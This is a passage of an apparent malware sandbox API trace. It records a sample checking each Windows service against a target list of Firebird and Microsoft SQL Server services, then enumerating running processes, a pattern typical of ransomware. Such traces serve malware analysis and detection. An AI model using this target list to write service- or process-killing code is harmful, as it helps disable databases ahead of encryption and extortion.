lpString2="CoreMessagingRegistrar") returned 1 [0165.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0165.927] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0165.927] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0165.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0165.927] lstrlenW (lpString="CryptSvc") returned 8 [0165.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0165.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0165.927] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0165.927] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0165.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0165.927] lstrlenW (lpString="DcomLaunch") returned 10 [0165.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.927] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0165.927] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0165.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0165.927] lstrlenW (lpString="Dhcp") returned 4 [0165.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0165.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0165.927] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0165.927] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0165.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0165.927] lstrlenW (lpString="Dnscache") returned 8 [0165.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0165.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0165.927] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0165.927] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0165.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0165.927] lstrlenW (lpString="DoSvc") returned 5 [0165.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0165.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0165.927] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0165.927] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0165.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0165.927] lstrlenW (lpString="DPS") returned 3 [0165.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0165.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0165.927] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0165.927] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0165.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0165.927] lstrlenW (lpString="DusmSvc") returned 7 [0165.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0165.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0165.927] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0165.928] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0165.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0165.928] lstrlenW (lpString="EventLog") returned 8 [0165.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0165.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0165.928] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0165.928] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0165.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0165.928] lstrlenW (lpString="EventSystem") returned 11 [0165.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0165.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0165.928] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0165.928] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0165.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0165.928] lstrlenW (lpString="gpsvc") returned 5 [0165.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0165.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0165.928] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0165.928] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0165.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0165.928] lstrlenW (lpString="iphlpsvc") returned 8 [0165.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.928] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0165.928] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0165.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0165.928] lstrlenW (lpString="KeyIso") returned 6 [0165.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0165.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0165.928] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0165.928] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0165.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0165.928] lstrlenW (lpString="LanmanServer") returned 12 [0165.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0165.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0165.928] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0165.928] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0165.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0165.928] lstrlenW (lpString="LanmanWorkstation") returned 17 [0165.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.928] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0165.928] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0165.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0165.928] lstrlenW (lpString="lfsvc") returned 5 [0165.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0165.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0165.928] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0165.928] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0165.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0165.928] lstrlenW (lpString="LicenseManager") returned 14 [0165.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0165.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0165.929] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0165.929] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0165.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0165.929] lstrlenW (lpString="lmhosts") returned 7 [0165.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0165.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0165.929] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0165.929] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0165.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0165.929] lstrlenW (lpString="LSM") returned 3 [0165.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0165.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0165.929] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0165.929] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0165.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0165.929] lstrlenW (lpString="MpsSvc") returned 6 [0165.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0165.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0165.929] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0165.929] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0165.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0165.929] lstrlenW (lpString="NcbService") returned 10 [0165.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0165.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0165.929] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0165.929] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0165.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0165.929] lstrlenW (lpString="netprofm") returned 8 [0165.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0165.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0165.929] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0165.929] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0165.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0165.929] lstrlenW (lpString="NlaSvc") returned 6 [0165.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0165.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0165.929] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0165.929] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0165.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0165.929] lstrlenW (lpString="nsi") returned 3 [0165.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0165.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0165.929] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0165.929] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0165.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0165.929] lstrlenW (lpString="PcaSvc") returned 6 [0165.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0165.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0165.929] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0165.929] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0165.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0165.929] lstrlenW (lpString="PlugPlay") returned 8 [0165.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0165.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0165.930] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0165.930] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0165.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0165.930] lstrlenW (lpString="Power") returned 5 [0165.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0165.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0165.930] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0165.930] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0165.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0165.930] lstrlenW (lpString="ProfSvc") returned 7 [0165.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0165.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0165.930] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0165.930] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0165.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0165.930] lstrlenW (lpString="RpcEptMapper") returned 12 [0165.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.930] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0165.930] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0165.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0165.930] lstrlenW (lpString="RpcSs") returned 5 [0165.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0165.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0165.930] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0165.930] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0165.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0165.930] lstrlenW (lpString="SamSs") returned 5 [0165.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0165.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0165.930] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0165.930] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0165.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0165.930] lstrlenW (lpString="Schedule") returned 8 [0165.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0165.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0165.930] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0165.930] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0165.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0165.930] lstrlenW (lpString="SecurityHealthService") returned 21 [0165.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0165.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0165.930] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0165.930] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0165.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0165.930] lstrlenW (lpString="SENS") returned 4 [0165.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0165.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0165.930] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0165.930] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0165.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0165.931] lstrlenW (lpString="ShellHWDetection") returned 16 [0165.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.931] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0165.931] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0165.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0165.931] lstrlenW (lpString="sppsvc") returned 6 [0165.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0165.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0165.931] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0165.931] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0165.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0165.931] lstrlenW (lpString="SSDPSRV") returned 7 [0165.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0165.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0165.931] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0165.931] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0165.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0165.931] lstrlenW (lpString="StateRepository") returned 15 [0165.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0165.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0165.931] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0165.931] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0165.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0165.931] lstrlenW (lpString="SysMain") returned 7 [0165.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0165.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0165.931] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0165.931] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0165.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0165.931] lstrlenW (lpString="SystemEventsBroker") returned 18 [0165.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0165.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0165.931] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0165.931] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0165.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0165.931] lstrlenW (lpString="Themes") returned 6 [0165.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0165.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0165.931] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0165.931] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0165.932] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0165.936] Process32FirstW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.937] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0165.937] lstrlenW (lpString="System") returned 6 [0165.937] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0165.938] lstrlenW (lpString="smss.exe") returned 8 [0165.938] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.938] lstrlenW (lpString="csrss.exe") returned 9 [0165.938] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0165.939] lstrlenW (lpString="wininit.exe") returned 11 [0165.939] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.939] lstrlenW (lpString="csrss.exe") returned 9 [0165.939] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0165.940] lstrlenW (lpString="winlogon.exe") returned 12 [0165.940] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0165.940] lstrlenW (lpString="services.exe") returned 12 [0165.940] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0165.941] lstrlenW (lpString="lsass.exe") returned 9 [0165.941] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.941] lstrlenW (lpString="svchost.exe") returned 11 [0165.941] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0165.941] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0165.942] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0165.942] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0165.942] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.942] lstrlenW (lpString="svchost.exe") returned 11 [0165.942] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0165.943] lstrlenW (lpString="dwm.exe") returned 7 [0165.943] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.943] lstrlenW (lpString="svchost.exe") returned 11 [0165.943] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.944] lstrlenW (lpString="svchost.exe") returned 11 [0165.944] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.944] lstrlenW (lpString="svchost.exe") returned 11 [0165.944] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.944] lstrlenW (lpString="svchost.exe") returned 11 [0165.945] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.945] lstrlenW (lpString="svchost.exe") returned 11 [0165.945] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, 